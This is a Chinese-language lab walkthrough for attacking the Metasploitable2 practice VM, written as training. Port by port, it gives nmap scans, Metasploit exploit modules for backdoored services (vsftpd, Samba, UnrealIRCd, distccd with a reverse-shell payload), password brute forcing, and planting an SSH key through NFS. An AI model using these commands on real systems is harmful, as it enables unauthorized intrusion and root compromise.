metasploit2-practice
Metasploittable2打靶教程
本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。
一、环境准备
本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。
1.把靶场放在vmware打开,启用nat模式:

2.启用kali

二、信息收集
3.确认目标:
使用nmap扫描该局域网,确认目标开放端口服务信息。
sudo nmap -sS 192.168.1.0/24


这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。
4.确认操作系统
sudo nmap -O 192.168.1.0/24

也可以和之前的命令一起用
例:sudo nmap -sS -O 192.168.1.0/24
实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130
更详细服务信息,以便收集已公开漏洞
sudo nmap -sS 192.168.1.130

漏洞清单:

从顺序来吧
21(ftp)
vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件
可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。
匿名访问:

1.启用msf
msfconsole
2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞
search vsftpd


3.使用
use 0

显示payloads
show payloads

只有一个就自动选择
也可手动定义payload

4.查看配置
show options

5.设置目标
set rhost 192.168.80.130

6.运行
run 或者exploit

直接root权限
22(ssh)
Search ssh_login 搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.1.130 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

爆破成功msfadmin:msfadmin

23(telnet)
search telnet_login
use 1
Set RHOST 192.168.1.134 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run



80(php-cgi)
先访问该该网站是什么站:

Mutillidae 和 DVWA这两个练习平台就不说了
扫描目录发现漏洞点
2012年的漏洞
server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入
phpinfo.php ===>php-cgi
phpadmin
search php-cgi
use 0
set rhost 192.168.1.130
run

111(RPC)
auxiliary/scanner/misc/sunrpc_portmapper

只能拿来ddos
139,445(smba)

1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。
smbclient -L //192.168.1.130

use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.130
set SMBSHARE tmp
run

smbclient //192.168.1.130/tmp

SambaMS-RPC Shell 命令注入漏洞
search samba
use exploit/multi/samba/usermap_script
set rhost xxxx
run

512.513.514 (r)
TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问
sudo apt-get install rsh-client
rlogin -l root 192.168.1.130

1099(java_rmi)

原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致
use exploit/multi/misc/java_rmi_server

1524(ingreslock):
1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务
利用telnet命令连接目标主机的1524端口,直接获取root权限。
Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。

ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:
2049(NFS)
NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。
复现环境:Kali2017、Metasploit2
复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机
1.kali下连接靶机的NFS服务
sudo apt-get install nfs-common
showmount -e 192.168.1.130
mkdir /tmp/192.168.1.130
sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/
cd /tmp/192.168.1.130/
ls -la

2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机
ssh-keygen
cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys
ssh root@192.168.1.130
不过这里遇到点小坑


解决办法:链接
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130

3306(mysql)
mysql空密码:
使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root

3632(distccd)
除了上一节中的恶意后门,一些服务本质上几乎就是后门。
search distccd
use 0
set rhost 192.168.1.130
这里如果我们用默认的payload会no session,这里切换下payload
show payloads
set payload cmd/unix/reverse_ruby


5432(postgresql)
1.爆破:
auxiliary/scanner/postgres/postgres_login
postgresql 密码:postgres

2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码
这是nmap的指纹

也可以通过msf的模块:canner/postgres/postgres_version

5900(vnc)
vnc 密码: password

6667(IRC)
根据nmap指纹信息
search UnrealIRCd
use 0 || use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.130
run

一把梭失败,检查错误:发现pay失败,切换payload。
查看可用payload
show payloads

8180(tomact)
暴力破解账号密码:tomcat;tomcat
metasploit2-practice的更多相关文章
- Pramp mock interview (4th practice): Matrix Spiral Print
March 16, 2016 Problem statement:Given a 2D array (matrix) named M, print all items of M in a spiral ...
- Atitit 数据存储视图的最佳实际best practice attilax总结
Atitit 数据存储视图的最佳实际best practice attilax总结 1.1. 视图优点:可读性的提升1 1.2. 结论 本着可读性优先于性能的原则,面向人类编程优先于面向机器编程,应 ...
- The Practice of .NET Cross-Platforms
0x01 Preface This post is mainly to share the technologies on my practice about the .NET Cross-Platf ...
- Exercise 24: More Practice
puts "Let's practice everything." puts 'You\'d need to know \'bout escapes with \\ that do ...
- ConCurrent in Practice小记 (3)
ConCurrent in Practice小记 (3) 高级同步技巧 Semaphore Semaphore信号量,据说是Dijkstra大神发明的.内部维护一个许可集(Permits Set),用 ...
- ConCurrent in Practice小记 (2)
Java-ConCurrent2.html :first-child{margin-top:0!important}img.plugin{box-shadow:0 1px 3px rgba(0,0,0 ...
- ConCurrent in Practice小记 (1)
ConCurrent in Practice小记 (1) 杂记,随书自己写的笔记: 综述问题 1.线程允许在同一个进程中的资源,包括共享内存,内存句柄,文件句柄.但是每个进程有自己的程序计数器,栈和局 ...
- 1.2 基础知识——关于猪皮(GP,Generic Practice)
摘要: 这是<CMMI快乐之旅>系列文章之一.说起猪皮(GP,Generic Practice),真的让人又爱又恨,中文翻译叫通用实践.CMMI标准中每个级别包含几个PA,每个PA又包含几 ...
- 2015年第2本(英文第1本):《The Practice of Programming》
2015年计划透析10本英文原著,最开始选定的第一本英文书是<Who Moved my Cheese>,可是这本书实在是太短.太简单了,总体的意思就是要顺应变化,要跳出自己的舒适区,全文不 ...
- Java Concurrency In Practice -Chapter 2 Thread Safety
Writing thread-safe code is managing access to state and in particular to shared, mutable state. Obj ...
随机推荐
- 组件封装----useImperativeHandle和ref
useImperativeHandle(ref, createHandle, [deps]) 作用: 减少暴露给父组件获取的DOM元素属性, 只暴露给父组件需要用到的DOM方法 参数1: 父组件传递的 ...
- easygui的简单使用——实现猜字谜小游戏
游戏:随机生成个谜底,每轮有3次机会,猜对了结束本轮游戏,猜错了提示猜大了还是猜小了,并显示剩余次数,3次用完后本轮字谜游戏结束,可重新开始猜字谜,也可结束游戏 # 使用 easygui 实现猜字谜游 ...
- JavaScript:对象:如何去遍历输出一个对象的属性?语句for-in
使用for-in的for循环语句,可以去遍历一个对象的属性,这类似于Java的增强for循环: 但是注意,这并不能遍历对象的所有属性,有些隐藏的属性,是无法遍历出来的,虽然我们可以通过控制台去查看这些 ...
- 前端程序员学python(爬虫向)(一文修到筑基期) (本文不含知识诅咒)
我踏马来辣 还有一件事: 本教程配合c语言中文网 python爬虫 教程 食用 本教程不适用于未成年人 一定要刷牙 本教程不存在知识诅咒 学完本教程即可进入筑基期 js 基础和本教程学习效率成正比 不 ...
- [深度学习] ncnn编译使用
文章目录 工程 ncnn工程编译使用(cpu) ncnn工程编译使用(vulkan) 参考 工程 ncnn工程编译使用(cpu) 在linux下建立如CMakeLists文件即可编译生成ncnn工程 ...
- python进阶之路8 字典、元组、集合内置方法 编码理论
内容回顾 作业讲解 1.前期不熟练的情况下一定要先写注释 2.一定要仔细思考每一行代码的含义 3.自己不会的代码或者不熟练的代码一定要多敲多练 数据类型内置方法简介 所有的数据类型基本上都自带了一些操 ...
- [C++]union联合体总结
特点一:成员公用内存,且按所占内存最大的数据成员分配内存 //举例1 union A{ char a;//1个字节 int b;//4个字节 char c;//1个字节 } cout<<s ...
- [C++]C++11右值引用
右值引用的概念(摘自C++Primer) 左值和右值的概念 1.左值和右值是表达式的属性,一些表达式要求生成左值,一些表达式要求生成右值:左值表达式通常是一个对象的身份,而一个右值表达式表示的是对象的 ...
- Java学习笔记:2022年1月11日
Java学习笔记:2022年1月11日 摘要:这篇笔记主要讲解了一些数据在计算机中的存在方式相关的知识点,并由此延伸出了数据在计算机中的操作以及一些数据结构的知识. @ 目录 Java学习笔记:2 ...
- 数据结构与算法 -> 并查集
一.并查集概念 并查集是一种树形的数据结构,顾名思义,它用于处理一些不交集的合并及查询问题. 它支持两种操作: 查找(Find):确定某个元素处于哪个子集,单次操作时间复杂度 O(α(n)),即查询元 ...


